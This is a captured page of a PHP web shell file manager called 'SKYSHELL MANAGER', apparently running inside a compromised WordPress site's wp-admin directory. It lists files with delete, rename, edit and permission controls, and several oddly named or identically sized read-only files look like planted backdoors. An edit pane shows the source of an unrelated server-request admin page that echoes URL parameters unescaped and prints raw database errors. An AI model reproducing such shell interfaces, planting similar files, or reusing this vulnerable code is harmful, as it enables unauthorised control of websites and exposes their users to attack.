📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: old1all-requests.php
<?php require_once 'config/auth.php'; require_once 'config/db.php'; // Allow only Admin, Manager, Management, Sales, and Server_Team $allowed_roles = ['Admin', 'Management', 'Manager', 'Sales', 'Server_Team']; if (!isset($_SESSION['user']) || !in_array($_SESSION['user']['role'], $allowed_roles)) { header("Location: server-status.php"); exit; } // Handle Form Submission for Status/Details Update $flash_message = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'update_request') { $req_id = mysqli_real_escape_string($conn, $_POST['request_id']); $status = mysqli_real_escape_string($conn, $_POST['status']); $hostname = mysqli_real_escape_string($conn, $_POST['hostname'] ?? ''); $notes = mysqli_real_escape_string($conn, $_POST['notes'] ?? ''); $updateSql = "UPDATE server_requirements SET status = '$status', hostname = '$hostname', notes = '$notes' WHERE request_id = '$req_id'"; if (mysqli_query($conn, $updateSql)) { $flash_message = '<div class="alert alert-success alert-dismissible fade show mb-4" role="alert"> <i class="bi bi-check-circle-fill me-2"></i>Request <strong>' . htmlspecialchars($req_id) . '</strong> updated successfully! <button type="button" class="btn-close" data-bs-dismiss="alert"></button> </div>'; } else { $flash_message = '<div class="alert alert-danger alert-dismissible fade show mb-4" role="alert"> <i class="bi bi-exclamation-triangle-fill me-2"></i>Failed to update request: ' . mysqli_error($conn) . ' <button type="button" class="btn-close" data-bs-dismiss="alert"></button> </div>'; } } // 1. Build Base WHERE Conditions $where = []; // Status Filter if (!empty($_GET['status'])) { $statusFilter = mysqli_real_escape_string($conn, $_GET['status']); $where[] = "sr.status = '$statusFilter'"; } // Date Filters $from = $_GET['from_date'] ?? ''; $to = $_GET['to_date'] ?? ''; if (!empty($from) && !empty($to)) { $from = mysqli_real_escape_string($conn, $from); $to = mysqli_real_escape_string($conn, $to); $where[] = "DATE(sr.created_at) BETWEEN '$from' AND '$to'"; } elseif (!empty($from)) { $from = mysqli_real_escape_string($conn, $from); $where[] = "DATE(sr.created_at) = '$from'"; } elseif (!empty($to)) { $to = mysqli_real_escape_string($conn, $to); $where[] = "DATE(sr.created_at) = '$to'"; } $whereClause = !empty($where) ? " WHERE " . implode(" AND ", $where) : ""; // 2. Pagination Setup $page = isset($_GET['page']) ? (int)$_GET['page'] : 1; if ($page < 1) { $page = 1; } $limit = isset($_GET['limit']) ? (int)$_GET['limit'] : 50; if (!in_array($limit, [50, 100, 250])) { $limit = 50; } $offset = ($page - 1) * $limit; // 3. Total Count Query $countSql = "SELECT COUNT(*) AS total FROM server_requirements sr" . $whereClause; $countResult = mysqli_query($conn, $countSql); $totalRows = mysqli_fetch_assoc($countResult)['total'] ?? 0; $totalPages = ceil($totalRows / $limit); // 4. Main Query with Users Table Join $sql = "SELECT sr.*, u.username FROM server_requirements sr LEFT JOIN users u ON sr.user_id = u.id" . $whereClause . " ORDER BY sr.id DESC LIMIT $offset, $limit"; $result = mysqli_query($conn, $sql); // Showing calculation $start = ($totalRows == 0) ? 0 : $offset + 1; $end = min($offset + $limit, $totalRows); // 5. Stats Query $statsSql = " SELECT COUNT(*) AS total_requests, SUM(sr.status='Order Confirmed') AS confirmed, SUM(sr.status LIKE 'Under Review%') AS under_review, SUM(sr.status='Order is Processing') AS processing, SUM(sr.status='Server under Configuration') AS configuration, SUM(sr.status='Delivered') AS delivered FROM server_requirements sr" . $whereClause; $statsResult = mysqli_query($conn, $statsSql); $stats = mysqli_fetch_assoc($statsResult); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Admin - All Server Requests</title> <link rel="icon" type="image/svg+xml" href="<?php echo htmlspecialchars($_SESSION['user']['fav'] ?? ''); ?>"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/5.3.3/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-icons/1.11.3/font/bootstrap-icons.min.css"> <link rel="preconnect" href="https://fonts.googleapis.com"> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&display=swap" rel="stylesheet"> <link rel="stylesheet" href="css/style.css"> </head> <body class="dash-body"> <div class="sidebar-backdrop"></div> <!-- ===================== SIDEBAR ===================== --> <aside class="sidebar"> <a href="#" class="sidebar-brand text-decoration-none"> <img src="<?php echo htmlspecialchars($_SESSION['user']['logo'] ?? ''); ?>" alt="Logo" width="150"> </a> <nav class="sidebar-nav"> <div class="sidebar-section-label">Management</div> <a href="all-requests.php" class="nav-link active"><i class="bi bi-layers-half"></i> All Requests</a> <?php if ($_SESSION['user']['role'] === 'Admin'): ?> <a href="manage-users.php" class="nav-link"><i class="bi bi-people"></i> Manage Users</a> <?php endif; ?> </nav> <div class="sidebar-footer"> <div class="mt-4 small text-center"> <small>Developed by - Redaries</small> </div> </div> </aside> <!-- ===================== MAIN ===================== --> <div class="main-wrap"> <div class="topbar"> <div class="d-flex align-items-center gap-3"> <button class="btn btn-menu btn-outline-secondary"><i class="bi bi-list"></i></button> <div> <div class="fw-bold">Admin - Request Management</div> <div class="breadcrumb-mini">Dashboard / All Requests</div> </div> </div> <div class="d-flex align-items-right gap-3"> <div class="dropdown"> <button class="btn btn-outline-secondary dropdown-toggle small" type="button" data-bs-toggle="dropdown"> <i class="bi bi-person-circle"></i> <?php echo htmlspecialchars($_SESSION['user']['username'] ?? 'Admin'); ?> (<?= htmlspecialchars($_SESSION['user']['role']); ?>) </button> <ul class="dropdown-menu dropdown-menu-end"> <li> <a class="dropdown-item text-danger" href="logout.php"> <i class="bi bi-box-arrow-right me-2"></i> Logout </a> </li> </ul> </div> </div> </div> <div class="page-content"> <?= $flash_message; ?> <!-- Stat cards --> <div class="row g-3 mb-4"> <div class="col-6 col-lg-2"> <div class="stat-card d-flex align-items-center gap-3"> <div class="stat-icon" style="background:#eef2ff;color:#073e8d;"><i class="bi bi-file-earmark-text"></i></div> <div> <div class="stat-num"><?= $stats['total_requests'] ?? 0; ?></div> <div class="stat-label">Total Requests</div> </div> </div> </div> <div class="col-6 col-lg-2"> <div class="stat-card d-flex align-items-center gap-3"> <div class="stat-icon" style="background:#fef3c7;color:#92400e;"><i class="bi bi-hourglass-split"></i></div> <div> <div class="stat-num"><?= $stats['confirmed'] ?? 0; ?></div> <div class="stat-label">Confirmed</div> </div> </div> </div> <div class="col-6 col-lg-2"> <div class="stat-card d-flex align-items-center gap-3"> <div class="stat-icon" style="background:#dbeafe;color:#2563eb;"><i class="bi bi-search"></i></div> <div> <div class="stat-num"><?= $stats['under_review'] ?? 0; ?></div> <div class="stat-label">Under Review</div> </div> </div> </div> <div class="col-6 col-lg-2"> <div class="stat-card d-flex align-items-center gap-3"> <div class="stat-icon" style="background:#ffedd5;color:#9a3412;"><i class="bi bi-arrow-repeat"></i></div> <div> <div class="stat-num"><?= $stats['processing'] ?? 0; ?></div> <div class="stat-label">Processing</div> </div> </div> </div> <div class="col-6 col-lg-2"> <div class="stat-card d-flex align-items-center gap-3"> <div class="stat-icon" style="background:#ede9fe;color:#6d28d9;"><i class="bi bi-hdd-rack"></i></div> <div> <div class="stat-num"><?= $stats['configuration'] ?? 0; ?></div> <div class="stat-label">Configuration</div> </div> </div> </div> <div class="col-6 col-lg-2"> <div class="stat-card d-flex align-items-center gap-3"> <div class="stat-icon" style="background:#dcfce7;color:#166534;"><i class="bi bi-check-circle"></i></div> <div> <div class="stat-num"><?= $stats['delivered'] ?? 0; ?></div> <div class="stat-label">Delivered</div> </div> </div> </div> </div> <!-- Requests table panel --> <div class="card-panel"> <div class="card-panel-head"> <h6 class="fw-bold mb-0">All System Requests</h6> <form id="filterForm" method="GET" class="d-flex gap-3"> <div class="col-md-3"> <label class="form-label small">Status Filter</label> <select name="status" class="form-select auto-filter form-select-sm"> <option value="">All Statuses</option> <option value="Order Confirmed" <?= ($_GET['status'] ?? '')=='Order Confirmed'?'selected':''; ?>>Order Confirmed</option> <option value="Under Review - Management" <?= ($_GET['status'] ?? '')=='Under Review - Management'?'selected':''; ?>>Under Review - Management</option> <option value="Under Review - Manager" <?= ($_GET['status'] ?? '')=='Under Review - Manager'?'selected':''; ?>>Under Review - Manager</option> <option value="Order is Processing" <?= ($_GET['status'] ?? '')=='Order is Processing'?'selected':''; ?>>Order is Processing</option> <option value="Server under Configuration" <?= ($_GET['status'] ?? '')=='Server under Configuration'?'selected':''; ?>>Server under Configuration</option> <option value="Validation (Sales)" <?= ($_GET['status'] ?? '')=='Validation (Sales)'?'selected':''; ?>>Validation (Sales)</option> <option value="Delivered" <?= ($_GET['status'] ?? '')=='Delivered'?'selected':''; ?>>Delivered</option> <option value="Order Rejected" <?= ($_GET['status'] ?? '')=='Order Rejected'?'selected':''; ?>>Order Rejected</option> </select> </div> <div class="col-md-2"> <label class="form-label small">From Date</label> <input type="date" name="from_date" value="<?= $_GET['from_date'] ?? '' ?>" class="form-control auto-filter form-control-sm"> </div> <div class="col-md-2"> <label class="form-label small">To Date</label> <input type="date" name="to_date" value="<?= $_GET['to_date'] ?? '' ?>" class="form-control auto-filter form-control-sm"> </div> <div class="col-md-2"> <label class="form-label small">Show Rows</label> <select name="limit" class="form-select auto-filter form-select-sm"> <option value="50" <?= (($_GET['limit'] ?? 50)==50)?'selected':''; ?>>50</option> <option value="100" <?= (($_GET['limit'] ?? '')==100)?'selected':''; ?>>100</option> <option value="250" <?= (($_GET['limit'] ?? '')==250)?'selected':''; ?>>250</option> </select> </div> <div class="col-md-2 d-flex align-items-end"> <a href="all-requests.php" class="btn btn-outline-secondary btn-sm"><i class="bi bi-arrow-clockwise"></i> Reset</a> </div> </form> </div> <div class="card-panel-body"> <div class="table-responsive"> <table class="table table-requests align-middle"> <thead> <tr> <th>RequestID</th> <th>User</th> <th>Company</th> <th>Dept / Team</th> <th>Specs</th> <th>HostName</th> <th>Priority</th> <th>CreatedDate</th> <th>Status</th> <th class="text-end">Action</th> </tr> </thead> <tbody> <?php if(mysqli_num_rows($result) > 0): ?> <?php while($row = mysqli_fetch_assoc($result)): ?> <tr> <td class="fw-semibold"><?php echo htmlspecialchars($row['request_id']); ?></td> <td><i class="bi bi-person text-muted me-1"></i><?php echo htmlspecialchars($row['username'] ?? 'N/A'); ?></td> <td><?php echo htmlspecialchars($row['company']); ?></td> <td> <small class="d-block"><?= htmlspecialchars($row['department']); ?></small> <small class="text-muted"><?= htmlspecialchars($row['team']); ?></small> </td> <td> <span class="spec-chip"><?php echo htmlspecialchars($row['class']); ?></span> <span class="spec-chip"><?php echo htmlspecialchars($row['subnet']); ?></span> </td> <td><?php echo htmlspecialchars($row['hostname'] ?? '-'); ?></td> <td> <?php $p = strtolower($row['priority']); if($p=='low') echo '<span class="badge-priority low">Low</span>'; elseif($p=='medium') echo '<span class="badge-priority medium">Medium</span>'; elseif($p=='high') echo '<span class="badge-priority high">High</span>'; else echo '<span class="badge-priority urgent">Urgent</span>'; ?> </td> <td><?php echo date('d-m-Y', strtotime($row['created_at'])); ?></td> <td> <span class="badge bg-secondary"><?= htmlspecialchars($row['status']); ?></span> </td> <td class="text-end"> <button class="btn btn-sm btn-primary edit-btn" data-reqid="<?php echo htmlspecialchars($row['request_id']); ?>" data-status="<?php echo htmlspecialchars($row['status']); ?>" data-hostname="<?php echo htmlspecialchars($row['hostname'] ?? ''); ?>" data-notes="<?php echo htmlspecialchars($row['notes'] ?? ''); ?>" data-bs-toggle="modal" data-bs-target="#editModal"> <i class="bi bi-pencil-square"></i> Update </button> </td> </tr> <?php endwhile; ?> <?php else: ?> <tr> <td colspan="10" class="text-center py-4">No Request Found</td> </tr> <?php endif; ?> </tbody> </table> </div> <!-- Pagination --> <?php if($totalPages > 1): ?> <nav class="d-flex justify-content-between align-items-center mt-3 flex-wrap gap-2"> <span class="text-muted small">Showing <?= $start ?> - <?= $end ?> of <?= $totalRows ?> requests</span> <ul class="pagination pagination-sm mb-0"> <li class="page-item <?= ($page<=1)?'disabled':''; ?>"> <a class="page-link" href="?<?= http_build_query(array_merge($_GET,['page'=>$page-1])) ?>">Previous</a> </li> <?php for($i=1;$i<=$totalPages;$i++): ?> <li class="page-item <?= ($i==$page)?'active':''; ?>"> <a class="page-link" href="?<?= http_build_query(array_merge($_GET,['page'=>$i])) ?>"><?= $i ?></a> </li> <?php endfor; ?> <li class="page-item <?= ($page>=$totalPages)?'disabled':''; ?>"> <a class="page-link" href="?<?= http_build_query(array_merge($_GET,['page'=>$page+1])) ?>">Next</a> </li> </ul> </nav> <?php endif; ?> </div> </div> </div> </div> <!-- Modal for Updating Status --> <div class="modal fade" id="editModal" tabindex="-1"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content border-0 shadow-lg rounded-4"> <form method="POST" action="all-requests.php"> <input type="hidden" name="action" value="update_request"> <input type="hidden" name="request_id" id="modal_request_id"> <div class="modal-header bg-gradient"> <h6 class="fw-bold mb-0">Update Request (<span id="modal_req_title"></span>)</h6> <button type="button" class="btn-close" data-bs-dismiss="modal"></button> </div> <div class="modal-body"> <div class="mb-3"> <label class="form-label small fw-bold">Update Status</label> <select name="status" id="modal_status" class="form-select form-select-sm" required> <option value="Order Confirmed">Order Confirmed</option> <option value="Under Review - Management">Under Review - Management</option> <option value="Under Review - Manager">Under Review - Manager</option> <option value="Order is Processing">Order is Processing</option> <option value="Server under Configuration">Server under Configuration</option> <option value="Validation (Sales)">Validation (Sales)</option> <option value="Delivered">Delivered</option> <option value="Order Rejected">Order Rejected</option> </select> </div> <div class="mb-3"> <label class="form-label small fw-bold">Host Name / Server Name</label> <input type="text" name="hostname" id="modal_hostname" class="form-control form-control-sm" placeholder="e.g. srv-prod-01.local"> </div> <div class="mb-3"> <label class="form-label small fw-bold">Notes / Update Summary</label> <textarea name="notes" id="modal_notes" class="form-control form-control-sm" rows="3" placeholder="Add details or progress updates..."></textarea> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-sm btn-secondary" data-bs-dismiss="modal">Cancel</button> <button type="submit" class="btn btn-sm btn-primary">Save Changes</button> </div> </form> </div> </div> </div> <script> document.querySelectorAll(".edit-btn").forEach(function(btn){ btn.addEventListener("click", function(){ document.getElementById("modal_request_id").value = this.dataset.reqid; document.getElementById("modal_req_title").innerText = this.dataset.reqid; document.getElementById("modal_status").value = this.dataset.status; document.getElementById("modal_hostname").value = this.dataset.hostname; document.getElementById("modal_notes").value = this.dataset.notes; }); }); document.addEventListener("DOMContentLoaded", function () { document.querySelectorAll(".auto-filter").forEach(function (element) { element.addEventListener("change", function () { document.getElementById("filterForm").submit(); }); }); }); </script> <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/5.3.3/js/bootstrap.bundle.min.js"></script> <script src="js/app.js"></script> </body> </html>
Save